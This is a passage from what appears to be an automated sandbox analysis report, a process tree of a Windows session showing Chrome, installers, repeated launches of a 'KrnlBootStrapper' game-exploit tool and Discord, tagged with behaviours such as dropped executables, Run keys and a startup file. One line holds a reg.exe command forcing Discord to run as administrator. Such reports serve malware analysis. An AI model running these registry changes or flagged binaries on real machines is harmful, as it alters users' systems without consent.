    PID:1008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7084 /prefetch:8
    3⤵
    PID:3388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6972 /prefetch:8
    3⤵
    PID:4280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6788 /prefetch:8
    3⤵
    PID:4112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6936 /prefetch:8
    3⤵
    PID:2300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7744 /prefetch:8
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7512 /prefetch:8
    3⤵
    PID:3156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7072 /prefetch:8
    3⤵
    PID:2952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7876 /prefetch:8
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7480 /prefetch:8
    3⤵
    PID:380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7932 /prefetch:8
    3⤵
    PID:4308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7864 /prefetch:8
    3⤵
    PID:3392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8112 /prefetch:8
    3⤵
    PID:2012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7856 /prefetch:8
    3⤵
    PID:5368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7852 /prefetch:8
    3⤵
    PID:2412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7764 /prefetch:8
    3⤵
    PID:5008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8072 /prefetch:8
    3⤵
    PID:6020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=95 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7744 /prefetch:1
    3⤵
    PID:4712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=96 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7660 /prefetch:1
    3⤵
    PID:2520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=97 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6888 /prefetch:1
    3⤵
    PID:2752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=98 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2420 /prefetch:1
    3⤵
    PID:4460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=99 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8120 /prefetch:1
    3⤵
    PID:6140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3108 /prefetch:8
    3⤵
    PID:4756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7392 /prefetch:8
    3⤵
    PID:384
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f
      4⤵
      PID:1400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7192 /prefetch:8
    3⤵
    PID:5780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7140 /prefetch:8
    3⤵
    PID:5988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7712 /prefetch:8
    3⤵
    PID:4824
- - C:\Users\Admin\Downloads\Everything-1.4.1.1022.x86-Setup.exe
    "C:\Users\Admin\Downloads\Everything-1.4.1.1022.x86-Setup.exe"
    3⤵
    - Executes dropped EXE
    PID:4456
  - - C:\Users\Admin\AppData\Local\Temp\nsy5316.tmp\Everything\Everything.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy5316.tmp\Everything\Everything.exe" -install "C:\Program Files (x86)\Everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -install-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1036 -save-install-options 0"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:5536
    - - C:\Program Files (x86)\Everything\Everything.exe
        
        "C:\Program Files (x86)\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -install-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1036 -save-install-options 0
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5472
  - - C:\Program Files (x86)\Everything\Everything.exe
      "C:\Program Files (x86)\Everything\Everything.exe" -disable-update-notification -uninstall-quick-launch-shortcut -no-choose-volumes -language 1036
      4⤵
      Executes dropped EXE
      PID:1924
  - - C:\Program Files (x86)\Everything\Everything.exe
      "C:\Program Files (x86)\Everything\Everything.exe"
      4⤵
      Executes dropped EXE
      Enumerates connected drives
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:4688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=105 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8176 /prefetch:1
    3⤵
    PID:5020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=106 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:1
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8104 /prefetch:8
    3⤵
    PID:4996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7432 /prefetch:8
    3⤵
    PID:5320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6944 /prefetch:8
    3⤵
    PID:1444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7100 /prefetch:8
    3⤵
    PID:5620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7776 /prefetch:8
    3⤵
    PID:224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7928 /prefetch:8
    3⤵
    PID:4528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4588 /prefetch:8
    3⤵
    PID:1572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2660 /prefetch:8
    3⤵
    PID:1012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7248 /prefetch:8
    3⤵
    PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2356 /prefetch:1
    3⤵
    PID:5220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2340 /prefetch:1
    3⤵
    PID:5292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=118 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8120 /prefetch:1
    3⤵
    PID:5128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8012 /prefetch:1
    3⤵
    PID:3968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=120 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1504 /prefetch:1
    3⤵
    PID:2860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7892 /prefetch:8
    3⤵
    PID:3056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=960 /prefetch:8
    3⤵
    PID:6012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7276 /prefetch:8
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5916 /prefetch:8
    3⤵
    PID:4140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2356 /prefetch:8
    3⤵
    PID:5116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=126 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6452 /prefetch:1
    3⤵
    PID:1140
- - C:\Users\Admin\Downloads\MBSetup-20AB4836.exe
    "C:\Users\Admin\Downloads\MBSetup-20AB4836.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=128 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7076 /prefetch:1
    3⤵
    PID:3224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=127 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7204 /prefetch:1
    3⤵
    PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6748 /prefetch:8
    3⤵
    PID:2740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6876 /prefetch:8
    3⤵
    PID:1876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7036 /prefetch:8
    3⤵
    PID:5676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6900 /prefetch:8
    3⤵
    PID:5896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5988 /prefetch:8
    3⤵
    PID:4744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7008 /prefetch:8
    3⤵
    PID:2460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2092 /prefetch:8
    3⤵
    PID:1016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7396 /prefetch:8
    3⤵
    PID:3544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2328 /prefetch:8
    3⤵
    PID:4080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=138 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6672 /prefetch:1
    3⤵
    PID:1036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6556 /prefetch:1
    3⤵
    PID:4276
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3780
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Krnl\" -spe -an -ai#7zMap30787:70:7zEvent5027
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2128
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2376
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:6032
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4936
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:6072
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:796
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:6056
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5416
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2456
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5432
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:536
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Drops startup file
  - Checks SCSI registry key(s)
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Users\Admin\AppData\Local\Discord\Update.exe
  "C:\Users\Admin\AppData\Local\Discord\Update.exe" --processStart Discord.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:316
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Loads dropped DLL
    PID:5196
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://sentry.io/api/146342/minidump/?sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord Inc." --annotation=_productName=Discord --annotation=_version=1.0.9008 --annotation=prod=Electron --annotation=ver=13.6.6 --initial-client-data=0x488,0x48c,0x490,0x484,0x494,0x7a83850,0x7a83860,0x7a8386c
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3524
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1712 /prefetch:2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4960
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
